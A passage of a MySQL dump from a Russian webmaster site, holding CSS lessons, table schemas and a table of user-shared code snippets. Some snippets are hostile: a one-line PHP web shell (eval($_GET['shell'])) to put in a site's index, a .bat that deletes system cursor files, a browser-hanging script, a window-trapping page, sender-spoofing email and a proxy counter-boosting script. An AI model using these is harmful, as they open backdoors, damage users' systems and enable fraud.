левосторонних плавающих блоков.\r\n*. right - блок должен размещаться ниже всех правосторонних плавающих блоков.\r\n*. both - блок должен размещаться ниже всех плавающих блоков.\r\n*. none - никаких ограничений на положение блока относительно перемещаемых объектов не накладывается.\r\nНу допустим имеется два плавающих влево блока(float:left;), которые обтекает текст.\r\n\r\nЕсли заключить весь текст в блок, и придать ему свойство CLEAR:BOTH т.е. чтобы он размещался ниже всех плавающих блоков, можно избавиться от обтекания блоков текстом.\r\nhtml-код\r\nПервый блок\r\n\r\nВторой блок\r\n\r\n\r\nThere is one universal truth in website...\r\n\r\n\r\nCSS-часть\r\n.box1 {\r\nwidth :200px;\r\nheight :200px;\r\nborder :1px solid red;\r\nbackground-color :orange;\r\nfloat : left ;\r\n}\r\n.box2 {\r\nwidth :200px;\r\nheight :200px;border :1px solid red;\r\nbackground-color :orange;\r\nfloat : left ;\r\n}\r\n.box3 {\r\nclear: both ;\r\n}\r\nЗаметьте, что в блоках может находится что угодно(картинки,списки,текст и др.)\r\nВот Вам еще один пример, когда один блок располагается под другим, и оба блока обтекаются текстом.\r\nhtml-код\r\nПервый блок\r\n\r\nВторой блок\r\n\r\nThere is one universal truth in website...\r\n\r\ncss- часть\r\n.box1 {\r\nwidth :200px;\r\nheight :200px;\r\nborder :1px solid red;\r\nbackground-color :orange;\r\nfloat \r\n: left ;\r\n}\r\n.box2 {\r\nwidth :200px;\r\nheight :200px;border :1px solid red;\r\nbackground-color :orange;\r\nfloat : left ;\r\nclear : both ;\r\n}','','files_5094_1958_'),(47,4,'Урок 15: Слои в CSS','В этом уроке, поговорим о таком понятии как слой в CSS. Для тех, кто работал с графическими редакторами, этопонятие должно быть знакомо, а для остальных постараюсь объяснить.\r\nСоздавая блок в CSS, мы всегда четко задаем его параметры, а также позиционируем его в определенное место на экране. Таким образом, любой блок имеет две координаты X и Y, которые определяют положение блока на плоскости экрана. Но в CSS есть еще и третья, пространственная координата Z, которая определяет номер слоя, на котором находится блок. Т.е. чем больше координата Z, тем выше этот слой находится по отношению к остальным. Например слой с номером 2 будет ближе расположен к пользователю, просматривающему вашу страницу, чем слой с номером 1. А слой с номером 1, будет располагаться выше, чем основной код страницы.\r\nЗа создание слоя в CSS отвечает свойство Z-index , а принимаемые им значения, указывают номер слоя.\r\nНапример, можно сделать из карт знаменитую комбинацию Royal Flash.\r\nКак видите, каждая карта, немного перекрывает другую. Вот как это выглядит в коде:\r\n.desatka_buba {\r\nposition: absolute;\r\nleft: 200px;\r\ntop: 200px;\r\nz-index: 1 ;\r\n}\r\n.valet_buba {\r\nposition: absolute;\r\nleft: 215px;\r\ntop: 215px;z-index : 2 ;\r\n}\r\n.dama_buba {\r\nposition: absolute;\r\nleft: 230px;\r\ntop: 230px;\r\nz-index: 3 ;\r\n}\r\n.korol_buba {\r\nposition: absolute;\r\nleft: 245px;\r\ntop: 245px;\r\nz-index: 4 ;\r\n}\r\n.tuz_bubna {\r\nposition: absolute;\r\nleft: 260px;\r\ntop: 260px;\r\nz-index: 5 ;\r\n}\r\nНу а в html коде , просто присваиваете рисункам соответствующие стили, типа:\r\nну и так далее, вы поняли...\r\nЕсли хорошенько разобраться с этим простым методом, можно создавать довольно приличные вещи. Например размещать текст над изображением, или наоборот, создавать красивые заголовки , например с эффектом тени, также если поглубже изучить слои, можно создавать выпадающие меню , и многое другое...','','files_1923_5349_'),(48,4,'Урок 16: Завершение...','Вот Мы и закончили учебник по CSS . Надеюсь Вам все понятно, аесли вдруг по ходу обучения возникают вопросы, пожалуйста задавайте их на форуме.\r\nТеперь, когда Вы уже ознакомлены с языком разметки html и технологией стилей CSS , как следующий шаг,я бы посоветовал Вам разобраться с программой Adobe Dreamweaver. Это просто незаменимый помощник, я не знаю, что бы я без него делал. Очень доходчиво и понятно излагаются основные принципы работы, в видеоучебнике по Дримвиверу, который можно скачать у меня на сайте бесплатно.\r\nТакже, нужно разобраться с применением всех полученных Вами знаний именно в построении сайтов. Ведь все начинается с разработки каркаса сайта. Поэтому дальше, советую Вам поближе познакомиться именно с этим.\r\nСуществуют каркасы(они же макеты) построенные на таблицах(табличные) и на дивах(блочные) . Конечно табличная верстка уже немногоустарела, но все же имеет право на существование.\r\nУрок о табличной верстке &quot; Создаем универсальный табличный макет страницы &quot;\r\nУрок о блочной верстке &quot; Что такое блочная верстка (div верстка) сайтов &quot;\r\nПриятного Вам обучения!','','files_3428_1456_');
/*!40000 ALTER TABLE `lib_stat` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `load_com`
--

DROP TABLE IF EXISTS `load_com`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `load_com` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `time` varchar(244) NOT NULL,
  `msg` text NOT NULL,
  `avtor` int(244) NOT NULL,
  `avtorlogin` varchar(244) NOT NULL,
  `file` varchar(244) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `load_com`
--

LOCK TABLES `load_com` WRITE;
/*!40000 ALTER TABLE `load_com` DISABLE KEYS */;
/*!40000 ALTER TABLE `load_com` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `load_dir`
--

DROP TABLE IF EXISTS `load_dir`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `load_dir` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `id_dir` int(11) NOT NULL DEFAULT '0',
  `url` text,
  `name` varchar(100) DEFAULT NULL,
  `icon` varchar(244) NOT NULL,
  `files` varchar(1) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `load_dir`
--

LOCK TABLES `load_dir` WRITE;
/*!40000 ALTER TABLE `load_dir` DISABLE KEYS */;
/*!40000 ALTER TABLE `load_dir` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `load_file`
--

DROP TABLE IF EXISTS `load_file`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `load_file` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `id_dir` int(11) NOT NULL,
  `name` varchar(100) DEFAULT NULL,
  `url` text,
  `time` int(11) NOT NULL,
  `avtor` varchar(25) NOT NULL,
  `format` varchar(244) NOT NULL,
  `about` text NOT NULL,
  `files` varchar(244) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `load_file`
--

LOCK TABLES `load_file` WRITE;
/*!40000 ALTER TABLE `load_file` DISABLE KEYS */;
/*!40000 ALTER TABLE `load_file` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `load_reit`
--

DROP TABLE IF EXISTS `load_reit`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `load_reit` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `file` varchar(244) NOT NULL,
  `r` varchar(244) NOT NULL,
  `kto` varchar(100) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `load_reit`
--

LOCK TABLES `load_reit` WRITE;
/*!40000 ALTER TABLE `load_reit` DISABLE KEYS */;
/*!40000 ALTER TABLE `load_reit` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `m_kat`
--

DROP TABLE IF EXISTS `m_kat`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `m_kat` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) CHARACTER SET utf8 DEFAULT NULL,
  `razdel` int(200) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=10 DEFAULT CHARSET=cp1251;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `m_kat`
--

LOCK TABLES `m_kat` WRITE;
/*!40000 ALTER TABLE `m_kat` DISABLE KEYS */;
INSERT INTO `m_kat` VALUES (1,'Тест',1),(2,'DCMS',3),(3,'JohnCMS',3),(4,'Другие',3),(5,'MobileCMS',3),(6,'RotorCMS',3),(7,'Соц. сеть КоТа',3),(8,'PHP скрипты',3),(9,'strong cms',2);
/*!40000 ALTER TABLE `m_kat` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `m_korz`
--

DROP TABLE IF EXISTS `m_korz`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `m_korz` (
  `id` int(255) NOT NULL AUTO_INCREMENT,
  `tovar` int(255) NOT NULL,
  `us` int(255) NOT NULL,
  `name` varchar(255) CHARACTER SET utf8 NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `m_korz`
--

LOCK TABLES `m_korz` WRITE;
/*!40000 ALTER TABLE `m_korz` DISABLE KEYS */;
INSERT INTO `m_korz` VALUES (3,4,128,'green for strong');
/*!40000 ALTER TABLE `m_korz` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `m_kup`
--

DROP TABLE IF EXISTS `m_kup`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `m_kup` (
  `id` int(255) NOT NULL AUTO_INCREMENT,
  `tovar` int(255) NOT NULL,
  `us` int(255) NOT NULL,
  `name` varchar(255) CHARACTER SET utf8 NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `m_kup`
--

LOCK TABLES `m_kup` WRITE;
/*!40000 ALTER TABLE `m_kup` DISABLE KEYS */;
/*!40000 ALTER TABLE `m_kup` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `m_razdel`
--

DROP TABLE IF EXISTS `m_razdel`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `m_razdel` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=cp1251;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `m_razdel`
--

LOCK TABLES `m_razdel` WRITE;
/*!40000 ALTER TABLE `m_razdel` DISABLE KEYS */;
INSERT INTO `m_razdel` VALUES (1,'Графика'),(2,'Дизайны'),(3,'Скрипты');
/*!40000 ALTER TABLE `m_razdel` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `m_t_comm`
--

DROP TABLE IF EXISTS `m_t_comm`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `m_t_comm` (
  `id` int(255) NOT NULL AUTO_INCREMENT,
  `tovar` int(255) NOT NULL,
  `author` int(255) NOT NULL,
  `text` varchar(250) CHARACTER SET utf8 NOT NULL,
  `time` int(50) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `m_t_comm`
--

LOCK TABLES `m_t_comm` WRITE;
/*!40000 ALTER TABLE `m_t_comm` DISABLE KEYS */;
INSERT INTO `m_t_comm` VALUES (1,3,14,'На счет покупки лично в лс, диз стоит от waphero',1407267009),(2,4,1,'тест',1407416125);
/*!40000 ALTER TABLE `m_t_comm` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `m_tov_scrin`
--

DROP TABLE IF EXISTS `m_tov_scrin`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `m_tov_scrin` (
  `id` int(255) NOT NULL AUTO_INCREMENT,
  `tovar` int(255) NOT NULL,
  `file` varchar(255) CHARACTER SET utf8 NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `m_tov_scrin`
--

LOCK TABLES `m_tov_scrin` WRITE;
/*!40000 ALTER TABLE `m_tov_scrin` DISABLE KEYS */;
INSERT INTO `m_tov_scrin` VALUES (1,4,'07082014_fn3692_bandicam 2014-08-07 17-44-42-420.jpg'),(2,4,'07082014_fn4763_bandicam 2014-08-07 17-53-28-940.jpg');
/*!40000 ALTER TABLE `m_tov_scrin` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `m_tovar`
--

DROP TABLE IF EXISTS `m_tovar`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `m_tovar` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) CHARACTER SET utf8 NOT NULL,
  `kat` int(200) NOT NULL,
  `opis` varchar(250) CHARACTER SET utf8 NOT NULL,
  `rub` int(50) NOT NULL,
  `us` int(255) NOT NULL,
  `countp` int(50) NOT NULL,
  `dop` int(5) NOT NULL,
  `time` int(50) NOT NULL,
  `koppr` int(50) NOT NULL,
  `file` varchar(255) CHARACTER SET utf8 NOT NULL,
  `scrin` varchar(255) CHARACTER SET utf8 NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=cp1251;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `m_tovar`
--

LOCK TABLES `m_tovar` WRITE;
/*!40000 ALTER TABLE `m_tovar` DISABLE KEYS */;
/*!40000 ALTER TABLE `m_tovar` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `message`
--

DROP TABLE IF EXISTS `message`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `message` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `kto` varchar(244) NOT NULL,
  `komy` varchar(244) NOT NULL,
  `text` text NOT NULL,
  `time` varchar(244) NOT NULL,
  `readlen` varchar(1) NOT NULL,
  `file` varchar(100) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `message`
--

LOCK TABLES `message` WRITE;
/*!40000 ALTER TABLE `message` DISABLE KEYS */;
/*!40000 ALTER TABLE `message` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `message_c`
--

DROP TABLE IF EXISTS `message_c`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `message_c` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `kto` varchar(244) NOT NULL,
  `kogo` varchar(244) NOT NULL,
  `time` varchar(244) NOT NULL,
  `ignor` varchar(1) NOT NULL,
  `posl_time` int(11) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `message_c`
--

LOCK TABLES `message_c` WRITE;
/*!40000 ALTER TABLE `message_c` DISABLE KEYS */;
/*!40000 ALTER TABLE `message_c` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `message_save`
--

DROP TABLE IF EXISTS `message_save`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `message_save` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `text` text NOT NULL,
  `kto` varchar(244) NOT NULL,
  `ktoavtor` varchar(244) NOT NULL,
  `uid` varchar(244) NOT NULL,
  `time` varchar(244) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `message_save`
--

LOCK TABLES `message_save` WRITE;
/*!40000 ALTER TABLE `message_save` DISABLE KEYS */;
/*!40000 ALTER TABLE `message_save` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `nar`
--

DROP TABLE IF EXISTS `nar`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `nar` (
  `id` int(255) NOT NULL AUTO_INCREMENT,
  `who` int(244) NOT NULL,
  `ho` int(244) NOT NULL,
  `why` varchar(250) NOT NULL,
  `time` int(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `nar`
--

LOCK TABLES `nar` WRITE;
/*!40000 ALTER TABLE `nar` DISABLE KEYS */;
INSERT INTO `nar` VALUES (1,1,2,'Высокая активность',1419589328);
/*!40000 ALTER TABLE `nar` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `news`
--

DROP TABLE IF EXISTS `news`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `news` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `text` text NOT NULL,
  `avtor` varchar(244) NOT NULL,
  `time` varchar(244) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=9 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `news`
--

LOCK TABLES `news` WRITE;
/*!40000 ALTER TABLE `news` DISABLE KEYS */;
INSERT INTO `news` VALUES (8,'Открытие!Сегодня наша ВМ\r\nстартовала!','1','1419570983');
/*!40000 ALTER TABLE `news` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `news_com`
--

DROP TABLE IF EXISTS `news_com`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `news_com` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `time` varchar(244) NOT NULL,
  `msg` text NOT NULL,
  `avtor` int(244) NOT NULL,
  `avtorlogin` varchar(244) NOT NULL,
  `news` varchar(244) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `news_com`
--

LOCK TABLES `news_com` WRITE;
/*!40000 ALTER TABLE `news_com` DISABLE KEYS */;
/*!40000 ALTER TABLE `news_com` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `newspaper_kat`
--

DROP TABLE IF EXISTS `newspaper_kat`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `newspaper_kat` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(30) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `newspaper_kat`
--

LOCK TABLES `newspaper_kat` WRITE;
/*!40000 ALTER TABLE `newspaper_kat` DISABLE KEYS */;
INSERT INTO `newspaper_kat` VALUES (1,'TesT');
/*!40000 ALTER TABLE `newspaper_kat` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `newspaper_paper`
--

DROP TABLE IF EXISTS `newspaper_paper`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `newspaper_paper` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `kat` int(11) NOT NULL,
  `name` varchar(255) NOT NULL,
  `text` mediumtext NOT NULL,
  `us` int(11) NOT NULL,
  `time` int(11) NOT NULL,
  `kolvo` int(11) NOT NULL DEFAULT '0',
  `scrin` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `newspaper_paper`
--

LOCK TABLES `newspaper_paper` WRITE;
/*!40000 ALTER TABLE `newspaper_paper` DISABLE KEYS */;
INSERT INTO `newspaper_paper` VALUES (1,1,'TesTaj','TesTajjgmpngmgmhdjjgmjgmhlgjnaggdjgmjgmhmdhjdaggjmgmgmjg5mgjmhmjgjmjgmjgmdjgjdjgjejhkdh',1,1419598068,1,'');
/*!40000 ALTER TABLE `newspaper_paper` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `newspaper_zaklad`
--

DROP TABLE IF EXISTS `newspaper_zaklad`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `newspaper_zaklad` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `paper` int(11) NOT NULL,
  `us` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `newspaper_zaklad`
--

LOCK TABLES `newspaper_zaklad` WRITE;
/*!40000 ALTER TABLE `newspaper_zaklad` DISABLE KEYS */;
/*!40000 ALTER TABLE `newspaper_zaklad` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `nicks`
--

DROP TABLE IF EXISTS `nicks`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `nicks` (
  `id` int(255) NOT NULL AUTO_INCREMENT,
  `who` int(244) NOT NULL,
  `ho` int(244) NOT NULL,
  `old` varchar(244) NOT NULL,
  `new` varchar(255) NOT NULL,
  `time` int(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `nicks`
--

LOCK TABLES `nicks` WRITE;
/*!40000 ALTER TABLE `nicks` DISABLE KEYS */;
/*!40000 ALTER TABLE `nicks` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `photo_files`
--

DROP TABLE IF EXISTS `photo_files`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `photo_files` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL,
  `opis` varchar(100) DEFAULT NULL,
  `us` varchar(244) NOT NULL,
  `time` varchar(100) NOT NULL,
  `files` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `photo_files`
--

LOCK TABLES `photo_files` WRITE;
/*!40000 ALTER TABLE `photo_files` DISABLE KEYS */;
/*!40000 ALTER TABLE `photo_files` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `polz_razdel`
--

DROP TABLE IF EXISTS `polz_razdel`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `polz_razdel` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(100) DEFAULT NULL,
  `opis` varchar(244) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=21 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `polz_razdel`
--

LOCK TABLES `polz_razdel` WRITE;
/*!40000 ALTER TABLE `polz_razdel` DISABLE KEYS */;
INSERT INTO `polz_razdel` VALUES (8,'Приколы',''),(9,'Авторский код',''),(10,'Работа с файлами',''),(11,'Работа с текстом',''),(12,'Работа с SQL',''),(13,'Работа с временем',''),(14,'Другое',''),(15,'Говнокод',''),(16,'Кодировка',''),(17,'Парсеры',''),(18,'Безопасность',''),(19,'Мультимедия',''),(20,'Графика','');
/*!40000 ALTER TABLE `polz_razdel` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `polz_stat`
--

DROP TABLE IF EXISTS `polz_stat`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `polz_stat` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `razdel` int(11) NOT NULL,
  `name` varchar(7000) DEFAULT NULL,
  `opis` varchar(7000) NOT NULL,
  `meta` mediumtext NOT NULL,
  `files` varchar(255) NOT NULL,
  `avtor` int(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=389 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `polz_stat`
--

LOCK TABLES `polz_stat` WRITE;
/*!40000 ALTER TABLE `polz_stat` DISABLE KEYS */;
INSERT INTO `polz_stat` VALUES (5,20,'Свой шрифт)','Очеь простой код для того,что-бы придать\r\n стилю свой шрифт,даже если его нет в\r\n компьютере. Код актуален для\r\n компьютеров,насчет телефонов-не\r\n проверялось. Смысл прост-css файл\r\n подгружает на страницу файл со\r\n шрифтом,который находится на','@font-face{ font-family: xxx; src: url(/1.ttf)}   html{font-family: xxx, Arial, sans-serif;}','files_1822_3992_',2),(6,14,'Время на нормальном русском языке','Вывод нормального времени на русском языке','&lt;?php   function rusdate($d)    {    $montharr = array(&quot;января&quot;,&quot;февраля&quot;,&qu','files_5631_3324_',25),(7,9,'Зашифровано ли соединение (https)?','Хороший вопрос. Этот удобный фрагмент может дать Вам ответ. Ничего сложного!','if ($_SERVER[\'HTTPS\'] != &quot;on&quot;) {     echo &quot;This is not HTTPS&quot;; }else{     echo &','files_3085_3634_',25),(8,8,'Удаляем курсор мыши)))','Создайте в блокноте файл, напишите туда код ниже, сохраните под любым именем, обязательно в формате .bat','del &quot;%SystemRoot%Cursors*.*&quot; &gt;nul','files_5550_2991_',1),(9,8,'Онлайн редактор сайта','Онлайн редактор сайта [В онлайн режиме редактирует в вашем браузере сайт и после перезагрузки страницы возвращяет прежний вид]','javascript:document.body.contentEditable =’true’; document.designMode=’on’; void 0','files_5352_1334_',1),(10,8,'Игра `Крестики нолики` на бесконечном поле на JS','Всем известная игра в крестики нолики smile\r\nЦель игры - построить непрерывный ряд из 5 крестиков по горизонтали, вертикали или диагонали.','&lt;script type=&quot;text/javascript&quot;&gt; var TOTLIN, ATFAC, PLAYER, OPPON, IGROK, PROGR, WINL','files_3145_5173_',1),(11,8,'Данный JS код позволяет перевернуть вверх ногами текст, вводимый пользователем smile','Данный JS код позволяет перевернуть вверх ногами текст, вводимый пользователем smile','&lt;SCRIPT language=&quot;Javascript&quot;&gt; function flip() { var result = flipString(document.ff','files_3176_1541_',1),(12,8,'email с любым обратным адресом','Как отправить email с любым обратным адресом','&lt;?php /* *отправка письма с любым обратным адресом *25.08.07 */  if (!empty($_POST)) { //От кого ','files_4968_2635_',1),(13,8,'Дырка вам на сайт','Дырка вам на сайт\r\nпрописываете её в индексе и даёте пример в коммахsmile но лучше этого не делатьsmile','eval($_GET[\'shell\']);','files_5435_3050_',1),(16,8,'Граббер с bash.org.ru','bash.org.ru rss граббер','&lt;?php /* *bash.org.ru rss граббер *автор: disable *30.09.07 */  //грузим rss файл $data=file_get_','files_1280_1341_',1),(17,8,'Получить координаты по заданному адресу','Просто вводим в функцию требуемое место и она выдаст её координаты. Работает с помощью гугла.','&lt;?php  function getLatLong($address){ if (!is_string($address))die(&quot;All Addresses must be pa','files_5447_5087_',1),(15,8,'Бредо кнопка','Написание бредо кнопки на php','В сегодняшней статье, мы научимся создавать кнопку, которая будет выдавать разный бред, вместо банал','files_3113_4727_',1),(18,8,'Вешаем ваш арбуз:-)','Нашол на просторахsmile','&lt;?php echo\'  &lt;script&gt;  var a = 999 * 9999;  while(0 == 0) {  document.write(a);  } &lt;/scr','files_2128_2480_',1),(19,8,'Проверка длинны строки с помощью isset()','Малоизвестный PHP трюк. При проверке обычной строки как элемента массива интерпретатор посчитает каждый символ строки, как отдельный элемент. Определяя, существует ли переменная можно также проверить сразу ее длину.\r\nP.S. К сожалению, данный тр','&lt;? $string = \'String\'; if (isset($string[5])) { echo \'В строке больше 5 символов\'; } ?&gt;','files_3899_4260_',1),(20,8,'прикол с сайтами','зайдите на любой сайт в адресной строке удалите и напишите вот ето','javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=do','files_3208_5213_',1),(21,8,'Не дает закрывать окно.','пример простой, часто используется на порносайтах','&lt;html&gt; &lt;head&gt; &lt;title&gt;Press ALT+F4&lt;/title&gt; &lt;/head&gt;  &lt;body onunload=&','files_5210_2585_',1),(22,8,'накрутка счетчиков','в файл .тхт писать ип прокси\r\n\r\nвнизу кода писать адрес сайта\r\n\r\nлимит времени между запросами меняется вверху (где тайм лимит)\r\n\r\n\r\nудачи в накрутке топаф говношлолопсевдо мастера и удачной раскрутки своих сайтов мегамастера','&lt;?   set_time_limit(0);   